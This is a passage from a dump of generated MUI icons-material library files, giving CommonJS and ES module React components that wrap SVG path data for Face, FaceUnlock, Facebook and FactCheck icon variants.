    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10m-2 0c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m6 0c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-.29.02-.58.05-.86 2.36-1.05 4.23-2.98 5.21-5.37C11.07 8.33 14.05 10 17.42 10c.78 0 1.53-.09 2.25-.26.21.71.33 1.47.33 2.26 0 4.41-3.59 8-8 8\"\n}), 'FaceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m6 0c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-.29.02-.58.05-.86 2.36-1.05 4.23-2.98 5.21-5.37C11.07 8.33 14.05 10 17.42 10c.78 0 1.53-.09 2.25-.26.21.71.33 1.47.33 2.26 0 4.41-3.59 8-8 8\"\n}), 'FaceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12C12.06 6.44 14.6 8 17.5 8M8.08 5.03C6.37 6 5.05 7.58 4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 2c2.9 0 5.44 1.56 6.84 3.88-.43.07-.88.12-1.34.12-2.9 0-5.44-1.56-6.84-3.88.43-.07.88-.12 1.34-.12M8.08 5.03C7.45 6.92 6.13 8.5 4.42 9.47 5.05 7.58 6.37 6 8.08 5.03M12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"3\")], 'FaceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12C12.06 6.44 14.6 8 17.5 8M8.08 5.03C6.37 6 5.05 7.58 4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 2c2.9 0 5.44 1.56 6.84 3.88-.43.07-.88.12-1.34.12-2.9 0-5.44-1.56-6.84-3.88.43-.07.88-.12 1.34-.12M8.08 5.03C7.45 6.92 6.13 8.5 4.42 9.47 5.05 7.58 6.37 6 8.08 5.03M12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"3\")], 'FaceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceUnlockOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10M10.66 4.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M20 12c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceUnlockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceUnlockOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10M10.66 4.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M20 12c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceUnlockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceUnlockRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10M10.66 4.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M20 12c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceUnlockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceUnlockRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10M10.66 4.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M20 12c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceUnlockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceUnlockSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10M10.66 4.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M20 12c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceUnlockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceUnlockSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10M10.66 4.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M20 12c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceUnlockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceUnlockTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10M10.66 4.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M20 12c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceUnlockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceUnlockTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10M10.66 4.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M20 12c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceUnlockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Facebook.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 3h14a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2m13 2h-2.5A3.5 3.5 0 0 0 12 8.5V11h-2v3h2v7h3v-7h3v-3h-3V9a1 1 0 0 1 1-1h2V5z\"\n}), 'Facebook');"
  },
  {
    "path": "packages/mui-icons-material/lib/Facebook.mjs",
    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 3h14a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2m13 2h-2.5A3.5 3.5 0 0 0 12 8.5V11h-2v3h2v7h3v-7h3v-3h-3V9a1 1 0 0 1 1-1h2V5z\"\n}), 'Facebook');"
  },
  {
    "path": "packages/mui-icons-material/lib/FacebookOutlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\"\n}), 'FacebookOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FacebookOutlined.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\"\n}), 'FacebookOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FacebookRounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\"\n}), 'FacebookRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FacebookRounded.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\"\n}), 'FacebookRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FacebookSharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\"\n}), 'FacebookSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FacebookSharp.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\"\n}), 'FacebookSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FacebookTwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\"\n}), 'FacebookTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FacebookTwoTone.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\"\n}), 'FacebookTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactCheck.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M10 17H5v-2h5zm0-4H5v-2h5zm0-4H5V7h5zm4.82 6L12 12.16l1.41-1.41 1.41 1.42L17.99 9l1.42 1.42z\"\n}), 'FactCheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactCheck.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M10 17H5v-2h5zm0-4H5v-2h5zm0-4H5V7h5zm4.82 6L12 12.16l1.41-1.41 1.41 1.42L17.99 9l1.42 1.42z\"\n}), 'FactCheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactCheckOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(\"g\", {\n  fillRule: \"evenodd\",\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M20 3H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H4V5h16z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M19.41 10.42 17.99 9l-3.17 3.17-1.41-1.42L12 12.16 14.82 15zM5 7h5v2H5zm0 4h5v2H5zm0 4h5v2H5z\"\n  })]\n}), 'FactCheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactCheckOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(\"g\", {\n  fillRule: \"evenodd\",\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M20 3H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H4V5h16z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M19.41 10.42 17.99 9l-3.17 3.17-1.41-1.42L12 12.16 14.82 15zM5 7h5v2H5zm0 4h5v2H5zm0 4h5v2H5z\"\n  })]\n}), 'FactCheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactCheckRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H6c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m0-4H6c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m0-4H6c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m9.7 2.12-3.17 3.17c-.39.39-1.03.39-1.42 0l-1.41-1.42a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l.71.71 2.47-2.47c.39-.39 1.02-.39 1.41 0l.01.01c.38.39.38 1.03-.01 1.41\"\n}), 'FactCheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactCheckRounded.mjs",
